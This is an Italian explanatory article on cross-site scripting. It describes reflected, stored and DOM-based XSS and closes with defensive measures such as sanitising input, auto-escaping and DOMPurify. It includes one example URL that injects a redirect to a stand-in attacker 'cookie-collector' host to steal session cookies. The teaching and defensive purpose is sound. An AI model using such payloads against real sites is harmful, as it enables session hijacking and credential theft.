In che modo gli hacker utilizzano lo scripting intersito per violare i siti Web e rubare dati

Cross-site scripting o XSS può essere un attacco potente e rapido. Come sviluppatore, potresti persino prenderlo per un bug nel tuo codice e finire per cercare bug che non ci sono.

Come cliente che utilizza il sito Web vulnerabile, puoi anche divulgare innocentemente informazioni vitali sul tuo accesso di autenticazione all'autore dell'attacco.

Allora, cos'è il cross-site scripting? In che modo gli hacker possono usarlo per entrare in un sito Web e rubare i tuoi dati? E come puoi mitigare un tale rischio?

Che cos'è lo scripting cross-site?

Lo scripting intersito o XSS si verifica se lo script di un sito Web dannoso interagisce con il codice su uno vulnerabile.

Ma i server sono cablati in un modo che impedisce alle persone senza autenticazione di accedere e modificare il codice sorgente del tuo sito web.

Internet utilizza la Same Origin Policy (SOP) per bloccare le interazioni tra siti. Tuttavia, SOP controlla tre principali falle nella sicurezza e cerca di mitigarle. Sono:

• Criterio del protocollo Internet che controlla se entrambi i siti Web forniscono contenuto su SSL protetto (HTTPS) o un URL non sicuro (HTTP).
  instagram viewer
• Lo stesso criterio per l'host web, che garantisce l'hosting di entrambi i siti Web sullo stesso dominio.
• La politica della porta che controlla se entrambi i siti web utilizzano endpoint di comunicazione simili.

SOP sostiene che se una qualsiasi di queste politiche è diversa per due siti Web, non possono leggere o scambiare dati sul Web.

Ma JavaScript è un linguaggio manipolativo che determina la reattività di un sito web. Sebbene il JavaScript del tuo sito web sia molto probabilmente in un file separato, puoi anche creare un tag script e scriverlo nel tuo DOM (Document Object Model).

Quindi un utente malintenzionato XSS potrebbe pensare: "se puoi scrivere JavaScript in un DOM, alla fine puoi eseguirlo in qualsiasi editor di codice o campo di input che accetta tag HTML. "

Tale vulnerabilità e possibilità è ciò che un utente malintenzionato che utilizza XSS cerca su un sito Web di destinazione. Una volta trovata una tale scappatoia, possono aggirare la SOP.

Relazionato: L'ultimo cheat sheet di JavaScript

XSS, quindi, è un attacco che i dirottatori utilizzano per iniettare uno script che esegue azioni dannose in un sito Web vulnerabile. Lo script può indirizzare moduli non protetti o campi di input che accettano dati.

Come funziona e tipi di scripting cross-site, con esempi

XSS può essere una rapida esecuzione di uno script riflesso o temporaneo che un utente malintenzionato inserisce in forme come i campi di ricerca. Può anche essere fastidioso o persistente iniettato nel database. Oppure potrebbe venire passivamente dopo il caricamento di una pagina.

In alcuni casi, questo script può anche modificare l'input originale di una vittima per deviare il suo intento. Un cambiamento persistente negli input di un utente come questo è un XSS mutante.

In qualunque forma si presenti, l'obiettivo di un attacco XSS è rubare i dati di una vittima tramite cookie e registri esposti.

Diamo un'occhiata a una breve spiegazione di ciascuno di questi tipi di attacco XSS e dei loro esempi per capire cosa sono.

Cos'è un XSS riflesso?

Un XSS riflesso o temporaneo è un'iniezione diretta di JavaScript nel campo di input di un utente. Si rivolge alle richieste che ottengono dati dal database, come i risultati della ricerca. Ma è un attacco mirato a un cliente.

Durante un XSS riflesso, un utente malintenzionato inserisce uno script nel termine di ricerca di una vittima bersaglio. Tale JavaScript potrebbe essere un eco, un reindirizzamento o un raccoglitore di cookie.

Lo script inserito nel campo di input della ricerca viene quindi eseguito non appena un client di destinazione invia la query.

Ad esempio, durante la ricerca di un utente, un utente malintenzionato potrebbe inserire un JavaScript che riecheggia un modulo, richiedendo alla vittima di inserire la password o il nome utente. Una volta che l'utente lo fa, potrebbe finire per inviare inconsapevolmente le proprie credenziali a un utente malintenzionato, pensando che sia una richiesta dal sito originale.

A volte, l'attaccante può anche utilizzare uno script per reindirizzare un utente dalla pagina vulnerabile alla sua pagina. Nella pagina dell'aggressore, un utente ignaro può quindi essere indotto a inviare alcuni moduli, con conseguente perdita di credenziali.

Allo stesso modo, se l'obiettivo è rubare la sessione di un utente, l'aggressore inserisce uno script di raccolta dei cookie nel termine di ricerca dell'utente. Quindi dirottano la sessione corrente dell'utente, rubano informazioni rilevanti e assumono il controllo delle attività della vittima.

L'esempio di attacco XSS di seguito ruba il cookie di un utente tramite una richiesta GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Nell'esempio XSS sopra, l'autore dell'attacco trova una scappatoia nel sito Web vulnerabile. Pertanto, quando un utente cerca una risorsa non disponibile sul sito vulnerabile, lo reindirizza alla pagina dell'aggressore. L'aggressore quindi tocca il cookie dell'utente corrente e acquisisce la sua sessione.

Tuttavia, questa vulnerabilità è comune quando l'azione di query di un sito non viene filtrata per controllare le iniezioni di script tramite HTML.

Ma anche se è presente una query filtrata, un utente malintenzionato può aggirarla ricorrendo a misure disperate come l'invio di collegamenti a possibili utenti in tempo reale di un sito Web. Possono farlo usando qualsiasi file forma di ingegneria sociale a loro disposizione.

Relazionato: Cosa fare dopo essere caduti in un attacco di phishing

Una volta che le vittime fanno clic su tale collegamento, il dirottatore può ora eseguire con successo l'attacco XSS e rubare i dati rilevanti dalla vittima.

Lo scripting cross-site persistente o memorizzato

L'XSS archiviato pone più minacce. In questo caso, un utente malintenzionato memorizza lo script nel database di un sito Web, innescando un'esecuzione persistente dello script memorizzato. Il codice memorizzato può essere eseguito al caricamento della pagina o dopo il caricamento della pagina.

A differenza della forma temporanea di XSS, un XSS memorizzato prende di mira l'intera base di utenti del sito Web vulnerabile. Inoltre, mira anche all'integrità del sito Web interessato.

Durante un XSS persistente, un utente malintenzionato utilizza campi di input come moduli di commento per pubblicare lo script nel database di un sito Web.

Ma cosa succede se proteggi i campi POST con token CSRF? Sfortunatamente, lo scripting cross-site archiviato ignora i controlli CSRF.

Questo perché l'attaccante invia un modulo come ogni altro utente del sito web. Quindi, un tale modulo di commento invia lo script al database come fa tutti gli altri commenti.

Un attacco del genere può verificarsi quando i campi di input su un sito Web non utilizzano disinfettanti adeguati per eseguire l'escape di script e tag HTML.

Immagina un utente che pubblichi lo script seguente utilizzando un modulo di commento web:

Quando un utente malintenzionato inserisce un codice simile nel database di un sito Web, continua a reindirizzare una vittima al sito Web dell'aggressore al caricamento della pagina. Lo script potrebbe anche essere un avviso, una casella modale interattiva o un annuncio dannoso incorporato.

Poiché lo script reindirizza al caricamento della pagina, una vittima che non ha familiarità con il sito Web vulnerabile potrebbe non notare il reindirizzamento.

Quindi interagiscono con il sito Web dell'aggressore. Tuttavia, il dirottatore può quindi utilizzare diversi mezzi per ottenere informazioni dalle vittime una volta che sono sulla loro pagina web.

Che cos'è un DOM o un XSS passivo?

Un XSS basato su DOM esegue un codice dannoso incorporato nel sito Web, costringendo l'intero DOM sul lato client a comportarsi in modo insolito.

Mentre XSS memorizzato e riflesso prende di mira le richieste lato server su un sito Web, un DOM XSS prende di mira le attività di runtime. Funziona inserendo uno script nel componente di un sito Web che esegue un'attività specifica. Quel componente non esegue un'azione lato server.

Tuttavia, lo script inserito in tale componente cambia completamente il suo intento. Se questo componente esegue un'attività relativa a DOM, come quelle che modificano gli elementi di un sito Web, lo script potrebbe forzare la modifica dell'intera pagina Web.

Nei casi peggiori, un XSS basato su DOM può imitare un bug. Questo perché la pagina web diventa insolitamente reattiva.

Come prevenire l'attacco di scripting cross-site

Una vulnerabilità XSS deriva da un uso improprio delle migliori pratiche di backend. Quindi prevenire un attacco di scripting cross-site è solitamente responsabilità dello sviluppatore. Ma anche gli utenti hanno un ruolo da svolgere.

L'utilizzo di un token CSFR per i campi di input non sembra una soluzione agli attacchi XSS. E poiché questo attacco aggira anche la stessa politica di origine, gli sviluppatori devono fare attenzione a non omettere le pratiche di sicurezza che impediscono XSS.

Le seguenti misure preventive sono utili per gli sviluppatori.

Disinfetta i campi di input

Per evitare XSS sia memorizzati che temporanei, è necessario utilizzare disinfettanti efficienti per i campi di input. La disinfezione delle query di ricerca, ad esempio, impedisce l'inserimento di tag nei termini di ricerca degli utenti.

Usa Unicode e HTML Auto Escape

È utile utilizzare la funzione di escape automatico HTML e Unicode per impedire che i campi di input come i moduli di commento e di conversione accettino script e tag HTML. L'uscita automatica è una potente misura preventiva contro XSS immagazzinato o persistente.

Consentire agli utenti di inserire tag nei moduli di commento è una cattiva idea per qualsiasi sito web. È una violazione della sicurezza. Tuttavia, se devi consentirlo, dovresti accettare solo tag che non rappresentano minacce XSS.

Utilizzare un'appropriata convalida dell'input

Anche se blocchi completamente i tag, un utente malintenzionato può comunque eseguire un attacco XSS attraverso i mezzi sociali. Possono inviare e-mail invece di inserire qualsiasi cosa direttamente sul sito Web vulnerabile.

Quindi un altro metodo per prevenirlo è convalidare gli input in modo efficiente. Tali misure includono la convalida dei protocolli e la garanzia che il tuo sito web accetti solo input da HTTPS sicuro e non HTTP.

L'utilizzo di librerie JavaScript dedicate come dompurify può anche aiutare a bloccare le violazioni della sicurezza relative a XSS.

Puoi usare strumenti come Scanner XSS o GEEKFLARE per verificare la presenza di vulnerabilità XSS sul tuo sito web.

Come gli utenti possono impedire XSS

Oggi ci sono milioni di siti Web su Internet. Quindi difficilmente puoi dire quale ha problemi di sicurezza XSS.

Tuttavia, come utente, dovresti assicurarti di avere familiarità con qualsiasi servizio Web prima di utilizzarlo. Se una pagina web diventa improvvisamente inquietante o inizia a comportarsi in modo insolito, questa può essere una bandiera rossa.

In ogni caso, fai attenzione a non divulgare i dati personali a terze parti non affidabili. Quindi fai attenzione alle e-mail non richieste o ai post sospetti sui social media che possono tradursi in qualsiasi forma di attacchi di phishing.

Nessun metodo preventivo è adatto a tutti

Abbiamo visto che aspetto ha un attacco XSS e come prevenirlo. È facile dimenticare i controlli di sicurezza XSS durante lo sviluppo. Quindi gli sviluppatori dovrebbero adottare misure per garantire che la protezione non venga omessa. Tuttavia, una combinazione delle misure preventive che abbiamo elencato in precedenza funziona meglio.

Cosa sono gli attacchi CSRF e come puoi prevenirli?

Per impedirti di perdere denaro e credenziali negli attacchi CSRF, sia gli sviluppatori che gli utenti hanno un ruolo da svolgere.

Circa l'autore